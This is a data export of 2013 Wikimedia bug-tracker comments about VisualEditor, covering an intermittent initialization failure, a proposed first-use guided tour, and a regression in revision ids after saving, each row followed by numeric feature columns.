+255223,VisualEditor: Sometimes not correctly initialized (about 1 in 40-50 pageviews),(Though it didn't recur for me just now on a spot-test of 100 Special:Randoms.),,,1373303527,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-i4cg3cr5ipw5q2y7rdrv,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+255216,VisualEditor: Sometimes not correctly initialized (about 1 in 40-50 pageviews),"(In reply to comment #2)
+> The collapsibleTabs thing was bug 50504, and it's supposed to be fixed now.
+
+Yes, but apparently that fix of Roan's didn't fix this issue.",,,1373303412,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-i4cg3cr5ipw5q2y7rdrv,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+255206,VisualEditor: Sometimes not correctly initialized (about 1 in 40-50 pageviews),"The collapsibleTabs thing was bug 50504, and it's supposed to be fixed now.",,,1373301240,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-i4cg3cr5ipw5q2y7rdrv,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+255198,VisualEditor: Sometimes not correctly initialized (about 1 in 40-50 pageviews),"FYI Timo/Roan, still getting this, but no longer getting the collapsibleTabs error on the console. :P",,,1372901309,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-i4cg3cr5ipw5q2y7rdrv,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0
+52601,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"It might be nice to show a quick intro message for first-time user, could be implemented via GuidedTour. We may want to distinguish between new vs. experienced users.
+
+Part of the goal of the message would be to help users understand the difference between editing in wikitext and VisualEditor, and to explain that wikitext cannot be entered in VisualEditor. We're seeing a fair number of users enter wikitext in VisualEditor, and adding a first-time explanation might help reduce this issue as we roll out VisualEditor to more wikis.
+
+(Feel free to close this WONTFIX if we decide this issue is not significant in scale enough or the message would be too prominent. But having a first-time use message come up is not that unusual for a major feature change.)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+{T51820}
+{T89074}",Unbreak Now!,100.0,1372793160,1442955804.0,PHID-USER-766idcqt4jkngnnuhnrj,False,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_description,duplicate,True,c1,3,False,False,False,0,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,1
+249025,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"**swalling** wrote:
+
+Okay, since VE implemented this in their own dialog system, instead of us doing it in GuidedTours, I'm going to go ahead and close this.",,,1377128046,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+249020,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"(In reply to comment #11)
+> GuidedTour support for VE is shaping up, so we're about ready to start
+> building this. But before we embark on this tour you've suggested, I just
+> wanted to confirm you're still thinking it's necessary in light of
+> https://gerrit.wikimedia.org/r/#/c/73569/ and bug 49820?
+
+I think we still want a GuidedTour to highlight that the user is now in VisualEditor and not the wikitext editor; a very brief one-time message of ""hey, you're in VisualEditor now - here is the user guide"" or similar should suffice.",,,1374018125,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,True,,,2,,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,0,1,0,0,1
+249015,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"James - please weigh in. My take is that we still need a first-use tour. We're changing the function of the ""Edit"" link, and just giving the user the wikitext warning isn't quite sufficient in informing them about a change of this magnitude. I don't think we'll need it indefinitely, but while VE is in Beta, doing this as part of the wider language rollout will save us and the community some additional transition pain, I think.",,,1374017295,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,1,1,1,1,0,0
+249007,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"**swalling** wrote:
+
+(In reply to comment #9)
+> Let's strike the idea of a distinction between new and experienced users for
+> now. Philippe and James make the good point that we can't really tell for
+> sure
+> whether a user is new, especially when editing as an IP, so in the interest
+> of
+> simplicity and consistency, I suggest we show the same message to everyone
+> for
+> a while. We can then later either turn it off completely, or show it only to
+> a
+> subset.
+
+GuidedTour support for VE is shaping up, so we're about ready to start building this. But before we embark on this tour you've suggested, I just wanted to confirm you're still thinking it's necessary in light of https://gerrit.wikimedia.org/r/#/c/73569/ and bug 49820?",,,1374016361,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,False,,,2,,0,1,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,1,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,1,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+249000,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"**weskaggs** wrote:
+
+I've had quite a bit of experience with things like this working on the GIMP project, and would like to try to convey a bit of ""wisdom"" that we learned the hard way.
+
+First, there are severe limits on the amount of information a new user, unfamiliar with the interface, can learn from a guided tour.  A tour can give some increased sense of familiarity, but it can't give an ability to do specific tasks.  Above all, a tour can't substitute for simplicity and discoverability.
+
+Second, a guided tour should never be forced on anybody.  It can be offered if that can be done unobtrusively, but should never be required.
+
+Third, if a guided tour exists, it should be available on demand, and able to be repeated as often as desired.  Ideally there should be some sort of ""help"" menu in the interface, offering the tour as one of the entries.
+
+Fourth, if you make a guided tour, you should consider making a video version and putting it on Youtube.  That might seem like a bizarre idea, but many users are very comfortable with that format.
+
+Also I agree that there is a strong need to show a warning to users who try to enter wiki-markup directly (with a link to an extended explanation).",,,1373642100,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,False,,,1,,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,0,0,1,0,1,0,0,1,1,1,1,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+248992,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"Let's strike the idea of a distinction between new and experienced users for now. Philippe and James make the good point that we can't really tell for sure whether a user is new, especially when editing as an IP, so in the interest of simplicity and consistency, I suggest we show the same message to everyone for a while. We can then later either turn it off completely, or show it only to a subset.",,,1373070573,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,False,,,0,,0,1,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+248987,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"We'll probably set this up so it launches when they visit a VE-eligible article, unless they have a hidden preference that shows it has launched before.  The role isSinglePage plays is ensuring no cookie is stored tracking their tour progress.  So even if they navigate away without closing the tour, it won't show again.",,,1373066776,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+248981,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"**swalling** wrote:
+
+(In reply to comment #6)
+> I'd suggest:
+> 
+> If user account was created before July 1, 2013, display the following
+> message
+> exactly once:
+> 
+> -
+> You are using the VisualEditor, a new rich-text editing interface for
+> {{SITENAME}} (currently in beta). <B>Please be aware that wiki syntax (e.g.
+> ""[[link to another page]]"") will not work in this editing mode.</B> To use
+> the
+> old editing interface, click the 'Edit source' tab or section link.
+> -
+> 
+> For extra points, the ""exactly once"" could be managed via a ""Do not show this
+> message again"" checkbox. But it shouldn't be handled as a notice that comes
+> up
+> every single time -- it should definitely be dismissible.
+> 
+> The reason I'd like to finalize the language soon is to give us enough time
+> to
+> get translations.
+
+I think this is reasonable.  
+
+Regarding showing a tour only once: I don't think we have to add an explicit checkbox to show it exactly once. Currently the default behavior is...
+
+If a user completes the tour or clicks the X to close we never show it again. So in this case, as a single step tour, clicking the ""Okay"" button or X would end the tour and it would never repeat. That is stored as a hidden preference, so it works across sessions, but not across wikis.
+
+If we really want to tie it to a single page, there is also an isSinglePage variable we can set for the tour, which means no matter what it will only appear on that one page.",,,1373066249,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,False,,,0,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1,1,0,1,0,1,0,1,1,1,0,1,0,0,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+248977,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"I'd suggest:
+
+If user account was created before July 1, 2013, display the following message exactly once:
+
+-
+You are using the VisualEditor, a new rich-text editing interface for {{SITENAME}} (currently in beta). <B>Please be aware that wiki syntax (e.g. ""[[link to another page]]"") will not work in this editing mode.</B> To use the old editing interface, click the 'Edit source' tab or section link.
+-
+
+For extra points, the ""exactly once"" could be managed via a ""Do not show this message again"" checkbox. But it shouldn't be handled as a notice that comes up every single time -- it should definitely be dismissible.
+
+The reason I'd like to finalize the language soon is to give us enough time to get translations.",,,1373065091,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,False,,,0,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+248972,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"(In reply to comment #2)
+> (In reply to comment #1)
+> > Adding Steven in case his team wants to help/weigh in.
+> 
+> TL;DR: 
+> 
+> Unless VE team wants to own it, I think E3 can handle any tours of basic
+> editing functionality (with and without VE). What we have is 1/2 way toward
+> the changes Erik requested. 
+
+Awesome; very happy for E3 to lead on this. We'll support as needed, of course.
+
+> We are working on adding better VE support in GuidedTour currently, and I've
+> added Matt Flaschen since he's tackling that. We are shooting for feature
+> parity with our previous guided tour of editing for the first time delivered
+> to GettingStarted editors, with the exception being that there is no Preview
+> step to point to in VE. 
+> 
+> Also, soon we hope to test delivering a guided tour to all newly-registered
+> editors, outside the GettingStarted funnel. (Docs:
+> https://meta.wikimedia.org/wiki/Research:Guided_tours). Whether we run that
+> test on a wiki like Spanish or French instead of English depends on l10n of
+> the ""first edit"" tour and whether VE support is ready. S Page is helping
+> out with this test, so I've added him as well. 
+> 
+> If we're interested in pointing out the difference between VE and wikitext to
+> users right away, we could easily build that in as step for the guided tours
+> delivered via GettingStarted and the general ""first edit"" tour we're
+> planning. Currently with the tour that's in production, we just point to the
+> Edit button and section edit buttons. 
+> 
+> I'm open to changing that, but I do think we should be cautious about
+> throwing too much complexity at first time editors too soon, by pointing out
+> the multiple methods of editing. I added Pau for his input.
+
+Yeah, I'm not convinced I know what we'd want to do.
+
+Maybe just a simple ""you're using VisualEditor"" on first load for experienced users?
+
+Maybe a set of ""add a {reference,template} by clicking here"" ones too? Maybe not?
+
+What do you advise?",,,1372817358,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,True,,,0,,1,0,1,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1
+248968,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"If it's semi-experienced users who are entering the wikitext, that could be improved with a tour specific to them (and/or VE documentation).
+
+If it's new users (they are less likely to know wikitext, though) making this mistake, maybe the comparison is necessary.",,,1372801407,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,1,1,0,1,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+248964,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"(In reply to comment #2)
+> If we're interested in pointing out the difference between VE and wikitext to
+> users right away, we could easily build that in as step for the guided tours
+> delivered via GettingStarted and the general ""first edit"" tour we're
+> planning.
+
+I don't think that (comparing VE and wikitext) needs to be in the first tour.  It's discoverable in the UI in a consistent way, plus people on-wiki will point to and explain the difference when necessary.",,,1372801273,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+248961,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"**swalling** wrote:
+
+(In reply to comment #1)
+> Adding Steven in case his team wants to help/weigh in.
+
+TL;DR: 
+
+Unless VE team wants to own it, I think E3 can handle any tours of basic editing functionality (with and without VE). What we have is 1/2 way toward the changes Erik requested. 
+
+Full details: 
+
+We are working on adding better VE support in GuidedTour currently, and I've added Matt Flaschen since he's tackling that. We are shooting for feature parity with our previous guided tour of editing for the first time delivered to GettingStarted editors, with the exception being that there is no Preview step to point to in VE. 
+
+Also, soon we hope to test delivering a guided tour to all newly-registered editors, outside the GettingStarted funnel. (Docs: https://meta.wikimedia.org/wiki/Research:Guided_tours). Whether we run that test on a wiki like Spanish or French instead of English depends on l10n of the ""first edit"" tour and whether VE support is ready. S Page is helping out with this test, so I've added him as well. 
+
+If we're interested in pointing out the difference between VE and wikitext to users right away, we could easily build that in as step for the guided tours delivered via GettingStarted and the general ""first edit"" tour we're planning. Currently with the tour that's in production, we just point to the Edit button and section edit buttons. 
+
+I'm open to changing that, but I do think we should be cautious about throwing too much complexity at first time editors too soon, by pointing out the multiple methods of editing. I added Pau for his input.",,,1372796561,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,1,0,1,1,0,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+248956,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),Adding Steven in case his team wants to help/weigh in.,,,1372793189,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+52441,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"After save of page using VisualEditor on beta, and clicking on Edit again (I am on the current page, as the content has been updated), I don't get the latest revision, but the revision I had before (the content switches back to the old version), and getting a warning that I'm not editing the latest version
+
+--------------------------
+**Version**: unspecified
+**Severity**: blocker
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50716",Unbreak Now!,100.0,1372554780,1373328432.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-mtdexeiuriq5cdelhc5o,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,0
+239595,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"This is now deployed and appears to be working as expected in production, according to my testing. Marking as fixed. Please re-open if you find otherwise.",,,1373328432,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+239592,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"Change 72070 merged by jenkins-bot:
+mw.ViewPageTarget: Fix incorrect retention of the wrong oldid
+
+https://gerrit.wikimedia.org/r/72070",,,1373325377,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239587,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),*** Bug 50596 has been marked as a duplicate of this bug. ***,,,1373155391,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+239580,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),Bug 47420 is the same thing that was reopened.  One of these two should be merged as a duplicate of the other.,,,1373061153,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0
+239572,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"Change 72070 had a related patch set uploaded by Krinkle:
+mw.ViewPageTarget: Only pass oldid if we have to and clear/update it on save
+
+https://gerrit.wikimedia.org/r/72070",,,1373010998,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+239565,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"Actually, though we are indeed initialising for the version the user is reading instead of the latest version (separate bug) we do update `this.oldid` in mw.ViewPageTarget#onSave based on the data we got from the API.
+
+However the API isn't returning that data, there is no ""data.newrevid"" returned by ApiVisualEditor.",,,1373010956,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,1,0
+239559,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"Which makes me wonder, why are we using that in the first place. Don't we always want to be editing the latest version (except when url has oldid=) even if the latest version is more recent than the version the user is reading (either because the page is cached or because an edit was made while the user was viewing the page).",,,1373009694,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0
+239552,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"Figured out the cause:
+
+This revision id for the page is initialised in ve.init.mw.Target from wgCurRevisionId but then never updated.",,,1373009612,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+239546,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"(In reply to comment #8)
+> If there's any likely timescale for the fixing of this bug, it might be
+> useful to comment there: is ""soon"" likely to be hours, days, or weeks?!
+
+Days. :-) Don't want to promise ""tomorrow"" if we don't manage to fix it by then, but certainly as soon as we can get it written, tested and deployed.",,,1372984760,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mtdexeiuriq5cdelhc5o,task_subcomment,,True,c1,3,True,,,0,,1,0,0,0,1,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,0,1,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1
+239539,VisualEditor: [Regression] Edit tab points to the oldid not the newid when saving (except for when creating pages),"(In reply to comment #7)
+> (In reply to comment #6)
+> > Pending a full solution, is there any way that the pink error box can be
+> > amended to include something like: ""Please click the ""Cancel"" button, then
+> > Refresh/Reload the page and try again. Apologies for this temporary problem -
+> > we are working on it.""
+> > 
+> > It's irritating for an experienced editor who has found the work-round, but
+> > must be desperately confusing for a new editor who has just made an edit, had
+> > an afterthought, and gets that message.
+> 
+> The message displayed is editable by any English Wikipedia sysop; this
+> doesn't
+> need any code changes to alter the text, or remove the bright pinkness, but
+> you
+> should discuss it with the community:
+> https://en.wikipedia.org/wiki/MediaWiki:Editingold
+> 
+> We're hoping to get this regression fixed soon; sorry for the inconvenience.
+
